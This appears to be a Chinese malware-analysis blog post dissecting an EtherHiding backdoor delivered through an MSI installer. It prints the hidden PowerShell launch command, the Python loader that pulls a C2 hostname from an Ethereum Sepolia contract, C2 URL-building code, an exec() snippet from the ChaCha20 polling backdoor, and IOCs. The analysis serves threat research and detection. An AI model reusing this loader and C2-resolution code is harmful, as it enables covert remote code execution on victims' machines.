EtherHiding 后门样本分析
原创 megaparsec 2026-10-22 08:00 辽宁

诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)
基本信息
样本来源于@malwrhunterteam、@smica83以及MalwareBazaar。

从 hxxps://uptodately[.]blob[.]core.windows.net/devport/fixline.msi 下载得到 fixline.msi(MD5:e7d1cfcf6d7a98072877715a64a64519)文件。下载链接已失效,该 MSI 文件在 VirusTotal 上已标记为 malicious。。


而CustomAction配置为如下,即静默后台执行指定目录下的 Mus.ps1脚本,并绕过系统的脚本执行策略限制。
cmd.exe /c start "" powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "[SCRIPTFOLDER]Mus.ps1"
使用lessmsi(https://github.com/activescott/lessmsi)提取File字段下的两个文件。

脚本Mus.ps1(MD5:c3f1c57cf2bc5f11e239ce5c69e1e4c6)内容如下图所示。

脚本类样本,交给AI进行快速分析。在 LOCALAPPDATA 下创建随机目录,下载并解压便携版 Python,安装 pip 及多个高风险依赖,复制并执行本地脚本 get_message.py,最后通过 pythonw.exe 从远程读取 JSON 并 exec 其中的 c 字段代码。
阶段 | 要点 |
|---|---|
1. 初始化随机目录 | 在 %LOCALAPPDATA% 下生成 9 位随机字母目录;临时 zip 指向 %TEMP%\py.zip |
2. 下载便携 Python | 从 python.org 下载 python-3.14.3-embed-amd64.zip,解压到随机目录,删除 zip |
3. 安装 pip 与依赖 | 下载 get-pip.py 并安装到本地 Lib\site-packages;安装 pythonnet、pywin32、pywinpty、websockets、web3 |
4. 投放并执行本地脚本 | 从 %LOCALAPPDATA%\MusicUpd\scripts\get_message.py 复制到 Python 目录并执行 |
5. 远程加载执行 | 用 pythonw.exe 无窗口运行;读取同目录 ML.txt 作为主机名;访问 https://<主机>/<6随机字母>/<9随机字母>?v=6;忽略证书校验;取 JSON 的 c 字段并 exec |
get_message.py(MD5:f5455d6e2d82a68d2b176188b7ec6d38)内容如下所示。利用了EtherHiding 技术,通过 web3 连接以太坊 Sepolia 测试网公共 RPC,对固定合约地址 0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f 调用 getMessage() 视图函数获取字符串,把返回字符串写入 Python 目录下的 ML.txt。该文件随后被 PowerShell 内联代码读取,作为远程 URL 的主机名,用于下载并 exec 远程代码。
import sys
sys.path.append(fr'{"\\".join(sys.executable.split('\\')[:-1])}\Lib\site-packages')
from web3 import Web3
a=[
{
"inputs": [
{
"internalType": "string",
"name": "newText",
"type": "string"
}
],
"name": "setMessage",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "getMessage",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "text",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
}
]
w=Web3(Web3.HTTPProvider("https://ethereum-sepolia-rpc.publicnode.com"))
res = w.eth.contract("0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f",abi=a).functions.getMessage().call()
with open(f"{"\\".join(sys.executable.split('\\')[:-1])}\\ML.txt","w") as f:
print(str(res).strip(), file=f)C2 构造逻辑脚本如下,输出的目标URL为 https:[//]deployment.eastus.cloudapp.azure[.]com/uAAHeN/GuQjNcIWA?v=6
import random
import string
from web3 import Web3
RPC = "https://ethereum-sepolia-rpc.publicnode.com"
CONTRACT = "0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f"
ABI = [{
"inputs": [],
"name": "getMessage",
"outputs": [{"internalType": "string", "name": "", "type": "string"}],
"stateMutability": "view",
"type": "function"
}]
w3 = Web3(Web3.HTTPProvider(RPC))
contract = w3.eth.contract(address=CONTRACT, abi=ABI)
try:
domain = contract.functions.getMessage().call().strip()
except Exception as e:
print(f"[-] 查询合约失败: {e}")
raise SystemExit(1)
rand6 = ''.join(random.choice(string.ascii_letters) for _ in range(6))
rand9 = ''.join(random.choice(string.ascii_letters) for _ in range(9))
url = f"https://{domain}/{rand6}/{rand9}?v=6"
print(url)当前(2026.10.21)依旧能访问到,内容如下图所示,这是初始 PowerShell 下载器取回的 {"c":"..."} 载荷本体,一个自定义 ChaCha20 加密轮询后门,定期向 C2 发送加密心跳或结果,接收加密的 Python 源码,并在当前进程全局命名空间中 exec 执行。

主机标识生成与密钥派生:从 pythonw.exe 所在随机目录名截 8 个字母,重复两次成 16 字符;同时用作 ChaCha20 密钥和 local_id。
初始化心跳数据:生成 JSON {"ping":{"local_id":"<客户端标识>", "timestamp":"<本地时间>" , "ping":true" }}。
自定义 ChaCha20:使用自定义 ChaCha20(16 字节 key、8 字节 nonce、20 轮)加密。
C2 地址获取:从 Python 解释器所在目录读取
ML.txt,把其中的内容作为服务器主机名。如果读取失败,则使用内置默认主机名。deployment[.]eastus.cloudapp.azure[.]com 为默认主机名。动态执行服务器响应:exec() 会将字符串作为 Python 程序执行,而且使用 globals() 提供当前全局命名空间。
plaintext = decrypt(response[8:]).decode('utf-8')
if plaintext:
try:
exec(plaintext, globals())
except Exception:
traceback.print_exc()持续回连机制:进入无限循环,每次执行完网络请求后随机休眠 75–105 秒。
对该合约地址 0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f 进行链上历史消息回溯。
目前交易总数为 3 笔,3 笔交易中只有 2 笔命中 setMessage。
第一次 setMessage 为占位消息。区块 11744488,写入 Hello from Python!。这是典型的开发/测试阶段遗留值,用来验证合约可写、读取链路通畅
第二次 setMessage 为武器化切换。区块 11756400,写入 deployment[.]eastus.cloudapp.azure[.]com。
时间间隔约 1.65 天,Sepolia 出块约 12 秒,两次写入相隔 11912 块,约 39.7 小时。攻击者先在测试网验证链路,约 1.65 天后把合约指向真实基础设施。
import requests, time
from web3 import Web3
BASE = "https://eth-sepolia.blockscout.com/api/v2"
CONTRACT = "0x86bdF9F8D5fD58C53018a7C797Bd50d4ca6C1A1f"
w3 = Web3()
ABI = [{"inputs":[{"name":"newText","type":"string"}],
"name":"setMessage","outputs":[],"type":"function"}]
contract_abi = w3.eth.contract(abi=ABI)
def fetch_all_transactions():
url = f"{BASE}/addresses/{CONTRACT}/transactions"
params, txs = {}, []
while True:
for attempt in range(3):
try:
r = requests.get(url, params=params, timeout=20)
r.raise_for_status()
data = r.json()
break
except Exception as e:
print(f"[!] 请求失败 (尝试 {attempt+1}/3): {e}")
time.sleep(2 ** attempt)
else:
raise SystemExit("分页请求连续失败")
txs.extend(data.get("items", []))
nxt = data.get("next_page_params")
if not nxt:
break
params = nxt
print(f"[*] 已获取 {len(txs)} 笔")
time.sleep(0.2)
return txs
txs = fetch_all_transactions()
print(f"\n[+] 交易总数: {len(txs)}")
history = []
for tx in txs:
to = (tx.get("to") or {}).get("hash") if isinstance(tx.get("to"), dict) else tx.get("to")
if not to or to.lower() != CONTRACT.lower():
continue
inp = tx.get("raw_input") or tx.get("input")
if not inp or inp == "0x":
continue
try:
fn, params = contract_abi.decode_function_input(inp)
if fn.fn_name == "setMessage":
history.append((
tx.get("block_number") or int(tx.get("blockNumber", "0"), 16),
tx.get("hash"),
params["newText"],
))
except Exception:
pass
history.sort()
print(f"\n[setMessage 历史] 共 {len(history)} 次:")
for bn, h, t inhistory:
print(f" 块 {bn} {h} -> {t!r}")IOCs
e7d1cfcf6d7a98072877715a64a64519
c3f1c57cf2bc5f11e239ce5c69e1e4c6
f5455d6e2d82a68d2b176188b7ec6d38
deployment[.]eastus.cloudapp.azure[.]com
0daedf9df48e11709f3f0db6d381b8d0
37cb911ded59254772809ba82b66dae5
0087138db3fa04c6f5a5772ad81f21af
参考
1.https://x.com/malwrhunterteam/status/2102856035375747177
2.https://guard.io/labs/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts
3.https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org

本文转载自微信公众号「ChaMd5安全团队」,查看原文。版权归原作者所有,如有侵权请联系删除。